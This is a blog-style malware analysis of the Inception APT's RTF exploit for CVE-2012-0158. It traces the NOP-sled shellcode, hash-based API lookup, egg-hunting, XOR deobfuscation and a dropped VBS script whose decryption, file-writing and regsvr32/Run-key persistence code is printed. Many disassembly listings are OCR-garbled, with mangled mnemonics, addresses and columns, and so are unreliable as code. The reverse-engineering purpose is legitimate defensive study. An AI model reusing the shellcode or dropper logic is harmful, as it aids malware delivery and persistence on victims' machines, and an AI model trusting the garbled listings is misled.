# Reversing the Inception APT malware

After reading the Inception paper by Snorre Fagerland and Waylon Grange, I got curious about this threat and did some reversing. I felt that it would be good to write a technical blog about the process - maybe it could be helpful or interesting for some.

### **RTF file Analysis**

#### MD5: 4a4874fa5217a8523bf4d1954efb26ef

#### Exploit: CVE-2012-0158

As we can see in following screen shot, this is a RTF [Rich Text Format] file. Its common that attackers use document files such as these as bait.

000000000:	<b>7</b> B	5C	-72	-74	66	31	7B	5C	6F	62	6A	65 6	3 .	74	5C	6F	<pre>{\rtf1{\object\o</pre>
00000010:	62	6A	6F	63	78	7B	5C	2A	5C	6F	62	6A 6	4 (	61	74	61	bjocx{\*\objdata
00000020:	ØD	30	31	30	35	30	30	30	30	ØD	30	32 3	0	30	30	30	F01050000F020000
00000030:	30	30	ØD	31	36	30	30	30	30	30	30	ØD 3	16 (	66	37	34	00F16000000F6f74
00000040:	36	62	36	63	36	66	36	31	36	34	37	32 3	2 (	65	35	37	6b6c6f6164722e57
00000050:	35	32	34	31	37	33	37	33	36	35	36	64 3	6 :	32	36	63	52417373656d626c
00000060:	37	39	32	65	33	31	30	30	ØD	30	30	30 3	0	30	30	30	792e3100,0000000
00000070:	30	ØD	30	30	30	30	30	30	30	30	ØD	30 3	1	30	30	30	0.F00000000.F01000
00000080:	30	30	30	ЙD	34	31	ЙD	30	31	30	35	30 3	Ю	30	30	ЙD	000 F41 F01 050000 F
000000000	30	20	20	30	20	30	20	30	an	20	20	Sela	7	64	65	66	00000000 FYSSadef

It is common that shellcode starts with a NOPsled. In following screenshot we can see that the embedded shellcode starts with NOP slide. NOP, or No OPeration - is a single-byte opcode that does nothing. It has the hex value of 0x90.

00004B30:	39	30	39	30	39	30	39	30	39	30	39	30	39	30	39	30	909090909090909090
00004B40:	39	30	39	30	39	30	38	31	65	63	30	30	31	30	30	30	90909081ec001000
00004B50:	- 30	30	38	62	65	63	33	33	63	39	36	34	38	62	33	35	008bec33c9648b35
00004B60:	33	30	30	30	30	30	30	30	38	62	37	36	30	63	38	62	300000008b760c8b
00004B70:	37	36	31	63	38	62	35	65	30	38	38	62	34	36	30	38	761c8b5e088b4608
00004B80:	38	62	37	65	32	30	38	62	33	36	36	36	33	39	34	66	8b7e208b3666394f
00004B90:	31	38	37	35	66	32	38	39	35	64	30	34	38	39	34	35	1875f2895d048945
00004BA0:	- 30	38	66	66	37	35	30	38	36	38	61	64	39	62	37	64	08ff750868ad9b7d
00004BB0:	64	66	65	38	62	66	30	30	30	30	30	30	38	39	34	35	dfe8bf0000008945
00004BC0:	32	30	66	66	37	35	30	38	36	38	35	34	63	61	61	66	20ff75086854caaf
00004BD0:	39	31	65	38	61	66	30	30	30	30	30	30	38	39	34	35	91e8af0000008945
00004BE0:	32	34	66	66	37	35	30	38	36	38	61	63	30	38	64	61	24ff750868ac08da
00004BF0:	37	36	65	38	39	66	30	30	30	30	30	30	38	39	34	35	76e89f0000008945
00004C00:	32	38	66	66	37	35	30	38	36	38	31	36	36	35	66	61	28ff7508681665fa
00004C10:	31	30	65	38	38	66	30	30	30	30	30	30	38	39	34	35	10e88f0000008945
00004C20:	32	63	36	61	30	34	35	65	35	34	35	36	66	66	35	35	2c6a045e5456ff55
00004C30:	32	30	38	39	38	35	39	34	30	30	30	30	30	30	38	33	208985940000083

#### Embedded Shellcode Analysis - First Level

Now, to the functionality of the shellcode. We will ignore the first two prolog instructions, and for remaining statements I have inserted comments to help understanding what is happening in this chunk of

code. It's traversing the TEB, the PEB and the Ldr structure to get the base addresses of ntdll.dll and kernel32.dll. It needs these to find the API addresses it requires for the rest of the infection.

00120E88	81EC 00100000	SUB ESP, 1000	CS1-DEP	~
00120E8E	8 BEC	MOV EBP, ESP	LJI-FLU	
00120E90	33C9	XOR ECX, ECX	CSI-DCD_slide	
00120E92	64:8B35 30000000	MOU ESI, DWORD PTR 1	FS:[30]	
00120E99	8B76 ØC	MOU ESI, DWORD PTR	DS:[ESI+C]	Secur32. <moduleentrypoint></moduleentrypoint>
00120E9C	8B76 1C	MOU ESI, DWORD PTR 1	DS = [ESI +1C] PEB->Ldr.InInitOrder	
00120E9F	8B5E Ø8	MOU EBX, DWORD PTR 1	DS:[ESI+8]	0 20 0000000
00120EA2	8B46 Ø8	MOU EAX, DWORD PTR	DS : [ES I +8 ] EBX = ininitUrder[	X j.base_address 👌 👘 👘
00120EA5	8B7E 20	MOU EDI, DWORD PTR	DS:[ESI+20]	
00120EA8	8B36	MOU ESI, DWORD PTR 1	DS:[ESI]   Loop to find Kornel 23	2 dll Roop address
00120EAA	66:394F 18	CMP WORD PTR DS:[E]	DI +18],CX Luup willing Reflector	Lun Dasc duuress
00120EAE	^ 75 F2	JNZ SHORT 00120EA2		
00120EB0	895D 04	MOU DWORD PTR SS:[]	EBP+4], EBX	ntd11.7C900000
00120EB3	8945 08	MOU DWORD PTR SS: []	<mark>EBP +8 ] ,</mark> EAX	kerne132.7C800000

In screenshot below, Function 00120F82 is the malware's own GetProcAddress function which takes two parameters

- 1. Base address of the system dll
- 2. Hash of the API name.

The function returns the memory address of the API.

FF75_08	PUSH DWORD PTR SS: [EBP+8]	l	kerne132.7C800000
68 AD9B7DDF F8 BF00000	CALL 00120F82	Hash for GetFileSize	
8945 20	MOU DWORD PTR SS: [EBP+20]	, EAX	kerne132.7C800000
FF75 Ø8	PUSH DWORD PTR SS:[EBP+8]	1	kerne132.7C800000
68 54CAAF91	PUSH 91AFCA54	Hash for VirtualAlloc	
E8 HF000000	CHLL 00120F82	EAU	1
8745 24	MUU DWORD FIR SS:LEBP+24.	, EHA	Kerne 132.76800000
FF75 Ø8	PUSH DWORD PIK SS:LEBP+8.	1	kerne132.70800000
68 ACØ8DA76	PUSH [76DA08AC]	Haah fan SatfileDaistan	
E8 9 FUUUUUU	CALL 00120F82	Hash int Sectionalities	
8945 28	MOU DWORD PTR SS:[EBP+28]	, EAX	kerne132.7C800000
FF75 08	PUSH DWORD PTR SS:[EBP+8]	1	kerne132.7C800000
68 1665FA10	PUSH 10FA6516	Hash for Deadlile	
E8 8F00000	CALL 00120F82	riasii iur iteaurile	
8945 2C	MOU DWORD PTR SS: [EBP+2C]	.EAX	kerne132.7C800000

#### Functionality of function 00120F82 (GetProcAddress)

As shown in the next screenshot, this function parses the "export name pointer table" of the .dll [ex. kernel32.dll] and generates a hash for each function. It compares this with the argument API hash (Ex DF7D9BAD for GetFileSize, see above screenshot) using the CMP EDI, ESI instruction. Once the matching API is found it parses the Export Address Table and returns the respective API address to the caller in EAX register.

<b>00120F82</b>	55	PUSH FBP
00120F83	8BFC	MOUL FRP FSP
00120F85	57	
00120105	8870 08	MOULEDI DUORD PTR SS-LERP+81
00120100		MOULERY DUORD PTR 99-1ERP+01
00120107		DIEU EET
00120100	00 0000 00	MOUL FOIL DUODD DTD DC+[EDV+2010.pt]
00120100		IND CUOPT OR 2000
00120170		NOD
00120172	90	NOP
00120173	00	NOP
00120174	00	NOP
00120175	90	
00120170	00	NOP
00120177	007400 70	MOUL FOIL DUODD DID DO - FEDVAE014701
00120170	007133 70	ADD EGI EDV.
00120170	63F3 56	DUCH FOI MAGE EXPORT DIRECTORY
00120772	8876 20	MOULEST DUORD PTP DC - FEST+201
00120777	0222	ADD EGI EDY
00120742	2200	KOP ECY ECY EXPORT Name Pointer Table
00120744	A0	NUN EUN,EUN DEC ECY
00120FH0	41	
00120147	0D	LODE DUORD PTP DE FEEL1
00120140	03C3	ADD FAY FRY
00120FH7	56	DICH ECI
00120FHD	3376	
00120FAG	OFRE10	MONEY ENV BUTE PTR DC - FEAVI
00120FR1	3806	CMP DH DL
00120FB3	74 08	JE SHORT 00120ERD
00120FB5	CICE OD	ROR FST OD
00120FB8	03F2	ADD FSI FDX
00120FBA	40	INC FAX
00120FBB	^ FB F1	IMP SHORT 00120FAF
00120FBD	3BFE	CMP_EDL_EST
00120FBF	5E	POP ESI
00120FC0	^ 75 E5	JNZ SHORT 00120FA7
00120FC2	54	POP EDX
00120FC3	8BEB	MOU EBP.EBX
00120FC5	8B5A 24	MOU EBX, DWORD PTR DS: [EDX+24] Ordinal Table RVA
00120FC8	Ø3DD	ADD EBX.EBP
00120FCA	66:8BØC4B	MOU CX.WORD PTR DS:[EBX+ECX*2]
00120FCE	8B5A 1C	MOV EBX. DWORD PTR DS: [EDX+1C]RVA to EAT
00120FD1	Ø3DD	ADD EBX, EBP
00120FD3	8BØ48B	MOU EAX, DWORD PTR DS: [EBX+ECX*4] nua state and
00120FD6	03C5	ADD EAX, EBP
00120FD8	5E	POP ESI
00120FD9	5F	POP EDI
00120FDA	5D	POP EBP
00120FDB	C2 0800	RETN 8
00120FC3 00120FC5 00120FC8 00120FCA 00120FCE 00120FD1 00120FD3 00120FD6 00120FD8 00120FD8 00120FD9 00120FDA 00120FDB	8BEB 8B5A 24 03DD 66:8B0C4B 8B5A 1C 03DD 8B048B 03C5 5E 5F 5D C2 0800	MOU EBP, EBX MOU EBX, DWORD PTR DS: [EDX+24] Ordinal Table RVA ADD EBX, EBP MOU CX, WORD PTR DS: [EBX+ECX*2] MOU EBX, DWORD PTR DS: [EDX+1C]RVA to EAT ADD EBX, EBP MOU EAX, DWORD PTR DS: [EBX+ECX*4] ADD EAX, EBP POP ESI POP EDI POP EBP RETN 8

The document contains two levels of shellcode. We are analyzing first level, and in the following code we can see a typical egghunting method: It attempts to open the already opened rtf file by checking file handles in memory. It starts with a handle with the value 4 and verifies it by doing GetFileSize on it. If this fails it does ADD ESI,4 again (adds 4 to the handle) until the API succeeds. When this happens it checks the file offset 0x8300 for the marker 0x54405450. Again, if this matches up, it allocates memory into which it reads the file content and jumps to the 2<sup>nd</sup> level shellcode with a JMP EBX.

00120EF6	6A 04	PUSH 4	
00120552	5 F	POP FOI	
OOLCOLLO OOLCOLLO			
<b>UUIZUEFY</b>	54	PUSH ESP	
00120EFA	56	PUSH ESI	
GG1 2GEED	FFEE 20	COLL DUODD DTD CC-IEDD+201	kewpel22 CetFileSize
OOLCOLTE		HALL DWORD TIN 00-TEDI 0201	Kerneijz.detriieoize
<b>UUIZUEFE</b>	8785 74000000	MOU DWORD PIR SS:LEBP+941,EHX	kerne132.KeadFile
00120F04	83F8 FF	CMP EAX1	
00120202	75 06	INZ SHOPT GG12GEGE	
00120101	0000 04		
00120F07	8366 04	HUU ESI,4	
00120F0C	56	PUSH ESI	
00120F0D	^ FB F9	IMP SHORT 00120FF8	
OOL OOLOT	0100 00	CMD FAU A	
DOIZOPOP	8318 00	GRE EHA, U	
00120F12	^ 76 F5	JBE SHORT 00120F09	
00120F14	6A 00	PUSH 0	
00120216	60 00	PUCH 0	
00120110	01 00		
00120F18	68 00830000	PUSH 8300 Marker Unset in .rt file	
00120F1D	56	PUSH ESI	
00120F1F	FF55 28	COLL DUORD PTR SS-LERP+281	kewnel32 SetFilePointew
00120111	0105 0000000		Verheiter of the et.
00120721	8782 30000000	LEH EHA, DWORD FIR SS: LEBF 701	
00120F27	6A UU	PUSH Ø	
00120F29	50	PUSH EAX	kerne132.ReadFile
00120F2A	60.08	PUSH 8	
00120120	0100 00000000	LEG EGY DUODD DTD CC. LEDD.OC.	
00120720	0102 10000000	DEH EHA, DWOND FIN 33-LEDF*701	1 100 D 1D11
00120F32	50	PUSH EHX	kerne132.KeadFile
00120F33	56	PUSH ESI	
00120F34	FF55 2C	CALL DWORD PTR SS:[EBP+2C]	kernel32.ReadFile
00120737	81 BD 90000000 50544054	CMP DUOPD PTP SS-IEPP+9C1 54405450 r H	
00140137	01DD 10000000 10144014	The puop and solution states is the first states is the first states is the states is	ker for Second level Shell code
00120F41	° 75 Gb	JNZ SHORI 00120F09	
00120F43	89B5 9800000	MOU DWORD PTR SS:LEBP+981,ESI	
00120F49	6A 40	PUSH 40	
00120F4B	68 00100000	PUCH 1000	
00120110	EEDE 4000000	DUCH NUMBER DED CO. (EDD. AG1	
00120F50	LLR2 HOODOOOO	PUSH DWORD PIK SS:LEBP+HØI	
00120F56	6A 00	PUSH Ø	
00120F58	FF55 24	CALL DWORD PTR SS:[EBP+24]	kerne132.VirtualAlloc
00120F5B	8985 0400000	MOUL DUORD PTR SS-LEBP+041 FOX	kewnel32 ReadFile
00120130	0703 0000000	LEA EDU DUCDD DTD CO. (EDD. 001	Kerne 152. Neaur 11e
00120F61	8737 30000000	LEH EBA, DWORD PIR 55: LEBP+901	
00120F67	6A UU	PUSH Ø	
00120F69	53	PUSH EBX	kerne132.7C802654
00120F60	FFR5 А000000	PUSH DUORD PTR SS:[FBP+00]	
00120100			kauna 122 RaadRila
00120170	20	FUON CHA	Kerne132.Keadrile
00120F71	FFB5 98000000	LORH DMOKD LLK 22: [ERL+28]	
00120F77	FF55 2C	CALL DWORD PTR SS:[EBP+2C]	kerne132.ReadFile
00120F70	889D A400000	MOUL FRY DUORD PTR SS: [FRP+04]	
00120170	EEES	THD EDV	to second level shellcode
00120r80	- FFEJ	UTIF EDA	A CONTRACTOR OF CONTRACTOR

### Second Level Shell Code Analysis

Now we have landed into the second level shellcode, but it is obfuscated to evade static analysis. At the initial stage there are few instructions waiting to help us. This is the deobfuscation code. We can see that 0x23B \* 4 is the number of bytes obfuscated, POP EBX is the get EIP instruction and 0x5687F945 is the deobfuscation XOR key.

Before Deobfuscation	After DeObfuscation
01.7F0000 NOP	NOP
017F0001 NOP	NOP
017F0002 PREFETCH QWORD PTR DS:[EAX]	PREFETCH QWORD PTR DS:[EAX]
017F0005 XOR ECX, ECX	XOR ECX, ECX
017F0007 MOU ECX,23B	MOU ECX, 23B
017F000C FSTP ST	FSTP ST
017F000E NOP	NOP
017F000F FSTENU (28-BYTE) PTR SS:[ESP-C]	FSTENU (28-BYTE) PTR SS:LESP-CJ
017F0013 POP EBX	PUP EBA
017F0014 XOR DWORD PTR DS:LEBX+141,5687F945	AUK DWUKD FIK DS:LEBA+141,5687F945
017F001B SUB EBX, -4	SUB EBA, -4
017F001E LOOPD SHORT 017F0014	COLL GITEGOTO
017F0020 LODS DWORD PIR DS:LESIJ	LODE DUODD DTD DC - [ECI]
017F0021 LODS DWORD PIK DS:LESIJ	HOLS DWOND FIN DS.LESTI
017F0022 NGHG DWOKD FIK D3:LE31+451,EDA	ICE SHORT 017E0008
OTALOOZO LOOU COL	LODS BYTE PTR DS: [ESI]
017F0020 DDD HL,2D 017F0020 COLL FOR F2FF-220C0FFF	OR DL_BL
017F002F LODS BYTE PTR DS - [FSI]	JRE SHORT 01 2F0044
017F0030 PIISH FRP	CLI
017F0031 ADC FAX 2495510	ADC AH.CH
017F0036 ADC BYTE PTR DS: [EBX+DC4DC44A1_CH	XCHG EAX,EDI
A17FAA3C PUSH DS	ADD ECX, DWORD PTR DS:[EBX+EDI*8]
017F003D ADC ECX.ESI	XCHG EAX,EDI
017F003F FSUBR QWORD PTR SS:[EBP+AC750D20]	STD
017F0045 POPAD	RDPMC
017F0046 JNS SHORT 017F0024	RETF 5B8A
017F0048 DEC EBX	JMP FAR 238A:D9E88A49
017F0049 MOU ESP, ESI	JMP 1009FEE1
017F004B MOV ECX, EFA50F73	JO SHORT U17FUUBE
017F0050 CMP DWORD PTR DS:[EDI+E636B45F], EAX	OUT DX,EAX
017F0056 ????	MOUL BYIE PIK SS:LEDX]
U17FUU57 POP ESP	TUD EGA, EZD87E7G
U17FUU58 LODS DWORD PTR DS:[ESI]	THE CHOPT OF TROOPS
U17FUU59 UA SHORT U17FUU24	COLL EDODAEED
NT ZENNS RIPOP EAX	CHLL ED8D4EEB

In following code we can see the hexadecimal value that corresponds to the library name being pushed to the LoadLibrary function, as well as two loops to get the API addresses using "CALL 02E203E2" function. Here also it uses hashes to look up APIs.

Hash	API	Hash	API
73E2D87E	ExitProcess	oCo397EC	GlobalAlloc
7CB922F6	GlobalFree	10FA6516	ReadFile
36EF7370	GetCommandLineA	76DA08AC	SetFilePointer
oE8AFE98	WinExec	DF7D9BAD	GetFileSize
E9238AD9	_lwrite	6DD38706	CoUninitialize
E88A49EA	_lcreat	EB9E05F5	CoSetProxyBlanket
5B8ACA33	GetTempPathA	6E26C880	CoCreateInstance
oFFD97FB	CloseHandle	7FC7A3CB	CoInitializeEx

OOTOOOAD	50	DUOU TAU	
02E200H7	50	PUSH EHX	
02520068	68 65603332	PUSH 32336C65	
OGEGOOAD			
OZEZOOHD	68 6B65726E	PUSH 6E72656B Kernel3Z	
02F200B2	8BC4	MOUL FAX FSP	
OOTOOD4			
0ZEZ00B4	50	PUSH EHX	
02E200B5	FF57_3C	CALL DWORD PTR DS:[EDI+3C]	kewnell?? LoadLibwawuû
00200000	0000	MOULEBY FOU	Kerne 132. DoauDibraryn
02E200B8	8808	NOV EBA, EHA	
<b>И2Е2ИИВА</b>	68 10	PUSH 10	
02E200DC	<b>E0</b>	POP ECY	
02L200DC			
NSESNNRD	8B7D FC	MOU EDI, DWORD PTR SS: LERP-41	
<b>02E200C0</b>	51	PUSH FCX	
00200000		DUGU EDU	1
DZEZODCI	53	PUSH EBA	Kerne132.76800000
02E200C2	FF748F FC	PUSH DWORD PTR DS:[EDI+ECX+4-4]	
02E200CC	E0 17020000	COLL BOFORTO	
02120000	T0 11010000		
NSESNACB	59	POP ECX	
02F200CC	89448F FC	MOU DUORD PTR DS:[FDI+FCX#4-41 FAX	
00100000	* E0 EE	LOODD OUDDT OPPOPOO	
OZEZOODO	EZ EE	LOOPD SHORI 02E200C0	
02E200D2	33C0	XOR EAX.EAX	
02E200D4	50	PUSH FOY	
00700005			
02E200D5	68 64666600	PUSH 6C6C64	
<b>И2Е2ИИДА</b>	68 6173652E	PUSH 2E657361 combase dll	
00E000DE	60 636 PC DC 3	PUCH C2CDCEC2	
OZEZOODE	00 03010002	<b>FUSH 020D0F03</b>	
02E200E4	8BC4	MOU EAX, ESP	
<b>02F200F6</b>	50	PUSH FAX	
OOTOOOTO	EECO 24	COLL DUODD DTD DO-LEDI 241	1
OZEZODE7	FF57 34	GHLL_DWORD PIR DS: LEDI+341	Kernel32.LoadLibraryH
02E200EA	83F8 00	CMP EAX,0	
02F200FD	. 75 19	IN7 SHORT 02E20101	
COLLOOLD			
OZEZODEF	6H 6C	PUSH 6C	
02E200F1	68 322E646C	PUSH 6C642E32	
02220026	69 68666522		
02120010	00 01000333	1031 33030301 01632.01	
OZEZOOFB	8864	HOV EHX,ESP	
02E200FD	50	PUSH EAX	
02E200PE	8857 24	COLL DUODD DID DC - FEDI+241	kanna 122 LaadLikusuut
OZEZOUFE	1157 J4	OTHE DWOND FIN DO-LEDITOTI	Kerneisz. Luaulinraryh
02E20101	8808	MOV EBX,EAX	
02E20103	68 05	PUSH 5	
00100100	EO	DOD ECH	
02520102	57	FUF EGA	
02E20106	8B7D FC	MOU EDI, DWORD PTR SS:[EBP-4]	
02520100	8301 10	ODD FCY 10	
00100107	0301 10		
02E2010C	51	PUSH EGA	
02E2010D	53	PUSH EBX	kerne132.7С800000
02E2040E	PP349P PC	DUCH DUODD DTD DC . [EDI +ECV+4-4]	
OZEZOTUE	FF (70F FG	TOOH DWOND FIN DO LEDITEGN*4-41	
02E20112	F8 CRNZNNNN	CHLL UZEZUJEZ	
02E20117	59	POP ECX	
00200117	00440E EC	MOU DUODD DTD DC+FEDI+ECV+4_41 FAV	
OZEZOI18		THUN DWURD PIK USSIEDITELA89-91. PHX	
the second se	071101 10		
02E2011C	83E9 10	SUB ECX,10	
02E2011C 02E2011E	83E9 10 ^ F2 F8	SUB ECX,10	

In the following code it searches for the embedded VBS file inside the RTF file in memory. It checks for the file size in a loop, and if the size is larger than 0x2000 then it sets the file ponter to 0x8C14 to compare with the VBS file marker as we can see in following screenshot.

00200101		60.01	DUCH 4	
02620121		OH OT		
02E20123		*5E	PUP EST	
02E20124		8D45 F4	LEA EAX, DWORD PIR SS:LEBP-CI	
02E20127		50	PUSH EAX	
02E20128		56	PUSH ESI	
02E20129		8B07	MOU EAX, DWORD PTR DS:[EDI]	kerne132.GetFileSize
02E2012B		FFDØ	CALL EAX	
02F2012D		8945 FO	MOU DUORD PTR SS: [FBP-10] FAX	
02520130		83F8 FF	CMP FOX -1	
02120130		7E 04	TN7 CUADT 09590120	
02120133	~	73 UT AC	INC TO I	
02520133		40	THE LOI	
02520130		30 FD FA	IND CHODT COLOCION	
02E20137	<u> </u>	EB EH	JUL 2001 23	
02E20139		3D 00500000	CMP ERX, 2000	
02E2013E	$\sim$	77 04	JA SHORT 02E20144	
02E20140		46	INC ESI	
02E20141		56	PUSH ESI	
02E20142	^	EB DF	JMP SHORT 02E20123	
02E20144		6A 00	PUSH 0	
02E20146		68 00	PUSH Ø	
02F20148		68 1480000	PUSH 8C14	
02F2014D		56	PUSH FSI	
02E2014E		9847 04	MOUL FAY DUORD PTR DC · [EDI+4]	kewnel32 SetEilePointew
02E2014E		EEDQ	COLL EAV	Kerneijz.setriierointer
02620151				
02E20153		6H 00	FUSH 0	
02E20155		8045 EC	LEH EHX, DWORD PIR SS: LEBP-141	
02E20158		50	PUSH EAX	
02E20159		6A Ø8	PUSH 8	
02E2015B		8D45 B8	LEA EAX, DWORD PTR SS:[EBP-48]	
02E2015E		50	PUSH EAX	
02E2015F		56	PUSH ESI	
02E20160		8B47 Ø8	MOU EAX.DWORD PTR DS:[EDI+8]	kerne132.ReadFile
02E20163		FFDA	CALL EAX	
02E20165		8500	TEST EAX EAX	
02F20167		75 04	JNZ SHORT 02F2016D	
02020107	×.	AC	INC TOI	
02E20107		56		
02E2010H	~		IND PUODT ADEDA(00	
02520168			JAT SHUKI UZEZUIZJ	
UZEZU16D		8170 88 50645044	CMP DWORD PIR 55: LEBP-48 J, 44506450	
02E20174	$\sim$	74 04	JE SHORT UZEZU17A VDS	file start blanken
02E20176		46	INC ESI TO TO T	ne start marker
02E20177		56	PUSH ESI	
02E20178	^	EB A9	JMP SHORT 02E20123	
02E2017A		817D BC EFFEEAAE	CMP DWORD PTR SS:[EBP-44] AEEAFEEF	
02E20181	~	74 04	JE SHORT 02E20187	
02E20183		46	INC ESI	
02E20184		56	PUSH EST	
02F20185	~	FB 9C	JMP SHORT 02F20123	
OPPEROTOR		LD 70	OIL OIVIL GALAGIAS	

After finding the VBS marker in memory, it decrypts the VBS file in two iterations. In the first loop it decrypts and in the second loop it swaps the low and high bytes of the first 0x100 16-bit words, after which it writes the file to a file named "Temp/ew\_Rg.vbs".

02E201EC	Ø345 E8	ADD EAX. DWORD PTR SS: [EBP-18]	
02E201EE	8945 DC	MOU DUORD PTR SS:[FRP-241 FAX	
02220121	40	DEC EQU	
UZEZUIFZ	10	DEG ENA MAU DI DUTE DID DO FEDU FAU (00001	
02E201F3	887403 30800000	MOU DL, BYTE PIR DS:LEBX+EHX+8C301	day laws
02E201FA	32DØ	XOR DL,AL DECTY	raan Laap
02E201FC	889403 308C0000	MOU BYTE PTR DS:[EBX+EAX+8C30].DL	
02F20203	8500	TEST FAX FAX	
02220202	^ 77 FD	TO CHORT GOEOGIED	
02520203	ODOE DOPERTER	LEA EAN DUODD DTD CC. LEDD 4401	
02520207	0D00 D0LELLL	DUCH EHA, DWORD FIN 33-LEDF-1401	
02E2020D	50	PUSH EHA	
02E2020E	22 22 22 22 22 22 22 22 22 22 22 22 22	PUSH 0F8	
02E20213	FF57 14	CALL DWORD PTR DS:[EDI+14]	kerne132.GetTempPathA
02E20216	8DBB 308C0000	LEA EDI, DWORD PTR DS:[EBX+8C30]	
02E2021C	83C9 FF	OR ECX.FFFFFFFF	
02F2021F	3300	YOR FOX FOX	
02520211	E2 • 0E	DEDNE COAC DUTE DTD EC.[EDI]	
04640441	F6.8E	NETHE SONS BILL FIN ESSLEDIJ	
02220223	F7D1	NUL EGA	
02E20225	2BF9	SUB EDI,ECX	
02E20227	8BF7	MOV ESI,EDI	
02E20229	8BD1	MOU EDX.ECX	
02F2022B	8DBD B8FEFFFF	LEA EDI DUORD PTR SS: [EBP-148]	
02520221	83C9 FF	OR ECY FEFEFEE	
02520231	E2 • AE	DEDNE COAC DUTE DTD EC.[EDI]	
02620234	FZ-HE	NETME SCHS BYLE FIN ESSLEDIJ	
UZEZUZ36	4F	DEC EDI	
02E20237	8 BCA	MOU ECX,EDX	
02E20239	F3:A4	REP MOUS BYTE PTR ES:[EDI], BYTE PTR DS:[ES	11
02E2023B	6A 02	PUSH 2	
02E2023D	8D85 B8FEFFFF	LEA EAX, DWORD PTR SS: [EBP-148]	
02F20243	50	PIICH FOX	Create and Dauka file in Tama
02120213	000 CC	MOU EDI DUODD DID CC.[EDD_4]	Greate ew_itg.vos me in remp
04640644	0D7D FG EEFE 40	COLL DUODD DTD DC. [EDI.40]	1
02120247	FF57 18	CHILL DWORD FIR DS:LEDI+181	kernel32lcreat
02E2024H	83F8_FF	CMP EHX,-1	
02E2024D	√ 75 Ø5	JNZ SHORT 02E20254	
02E2024F	V E9 89010000	JMP 02E203DD	
02E20254	8945 C8	MOU DWORD PTR SS:[EBP-38].EAX	
02F20257	8 BDØ	MOU EDX FAX	
02F20259	FF75 F8	PUSH DUORD PTR SS [FRP-18]	
02520257	0102 20000000	LEO EON DUODD DID DC . LEDY 400001	
02E20230	0702 20000000 0702 20000000	ADD EAN DUADD DTD CC. [EDD -90]	
UZEZUZ6Z	0345 E0	HUD EHA, DWORD FIR 55:LEBP-201	
02E20265	50	PUSH ERX	
02E20266	52	PUSH EDX	
02E20267	B9 00010000	MOU ECX,100	
02E2026C	8A5448 FE	MOU DL, BYTE PTR DS: [EAX+ECX*2-2]	
02E20270	8A7448 FF	MOU DH. BYTE PTR DS: [EAX+ECX+2-1] Swaps by	tes within a word
02F20274	887448 FF	MOU BYTE PTR DS: [EAX+ECX*2-21.DH	
02520279	885448 FF	MOU BUTE PTR DC - FEAY + FCY +2-11 DL	Write to ew Ra vhs file
02520270	~ E9 EE	LOODD CHODT GODOGCC	
OZEZOZ7G	EZ EE BBED 40	COLL DUODD DTD DC. LEDI. 401	1
UZEZUZ7E	FF57 16	CHEL DWORD PIK DS:LEDI+IGI	kernel321Write
02E20281	FF75 C8	PUSH DWORD PIR SS: LEBP-381	
02E20284	FF57 10	CALL DWORD PTR DS:[EDI+10]	kerne132.CloseHandle

#### Payload .VBS file Analysis

The following screenshot shows a part of the .VBS payload file dropped by .RTF file. First line is the encrypted .dll 4<sup>th</sup> line contains Key to decrypt the .dll. Remaining part is self-explanatory.

```
c="jxixo`heaiccbcdablhbhfgdl{~lfbdawl`hfhhea`bdfdbdhfahgea`fga`dhebc`b``fghbehfhhbbfhh`gfdegf` Encrypted DLL
regsxr=""
b="C1129DE3E96440962AA7A5DC1D6B4CAB6A9F2AB4E885842E0E466A9DF99B1DC74A3D2A2061F110E516E9AD41207 Encrypted blob
k="6457608516332341288226746586624154086885102464244618751067104852302006782586882268807" Key to decrypt DLL
n="wniprvse.dll" Dropped DLL name
nn="munnopsis" Binary blob name
v="pemangkat" Run key
```

The instruction c = Crypt(c,k) function decrypts the encrypted dll and returns the decrypted dll. (See the screenshot above)

c= encrypted dll.

k = decryption key.

```
Function Crypt( Str, Key )
ReDim RetStr(Len(Str))
Pos = 1
For x = 1 To Len(Str)
RetStr(x) = Chr( Asc(Mid(Str,x,1)) - Asc(Mid(Key,Pos,1)) )
Pos = Pos + 1
If Pos > Len(Key) Then Pos = 1
Next
Crypt = Join(RetStr,"")
End Function
```

Following function writes byte by byte to the dropped.dll file.

```
Function WB(FN, Buf,sz)
With fso.OpenTextFile(FN, 2, True)
For x = 1 To sz Step 2
.Write Chr(Clng("&h" & Mid(Buf,x,2)))
Next
.Close
End With
End Function
```

Finally, the following code executes the "regsvr32" command to run the wmiprvse.dll in silent mode and sets the run key in registry.

```
For Each a in p
   t = fso.BuildPath( WshShell.ExpandEnvironmentStrings(a), n)
   l = fso.BuildPath(WshShell.ExpandEnvironmentStrings(a), nn)
   WB 1, b, Len(b)
   WB t, c, Len(c)
    If( fso.FileExists(l) and fso.FileExists(t) ) Then
                                                               'C:\WINDOWS\wmiprvse.dll -> Checks the file exists or not
       st = regsvr+Chr(34)+t+Chr(34)+" /s"
        If WshShell.Run(st, 0, false) = 0 Then
                                                               'regsvr32 "C:\WINDOWS\wmiprvse.dll" /s -> runs this command if file exist
           objReg.SetExpandedStringValue HCU,regkey,v,st
                                                               'Sets Run Entry
           Exit For
        End If
    End If
Next
```

## Payload "wmiprvse.dll" file Analysis

This first level of deobfuscation in wmiprvse.dll takes around 3-4 minutes to finish. Then it allocates memory using VirtualAlloc and writes the unpacked code to newly allocated memory before it jumps to the unpacked code as shown in following screen shot.

100E000C mov 100E0012 movsx 100E0012 povsx	ecx, [ebp+var_1B4] edx, [ebp+ecx+var_2B0] edx ; int	Image: Second state         Image: Second state           100E0047         100E0047           100E0047 loc_100E0047:         ; flProtect           100E0047 push         40h	
100E0018 call 100E0020 add 100E0023 test 100E0023 jz	sp, 4 esp, 4 eax, eax short loc_100E0045	1006.0049       push       1038000       ; filliocationigpe         1006.0049       mov       eax, [ebp+var_190]       10060050         1006.0058       mov       ecx, [eax+50h]       idwSize         1006.0058       push       ecx       ; dwSize         1006.0058       push       0       ; lpAddress         1006.0058       out       [ebp+ipAddress], eax       10062066         1006.0060       [ebp+ipAddress], eax       10062066       [ebp+ipAddress], 0         100620666       [cbp-ipAddress], 0       100620540       [ebp+ipAddress], 0	100E041F           100E041F           100E041F           100E041F           100E041F           100E041F           100E0425           100E0425           100E0425           100E0426           100E0426           00E0428
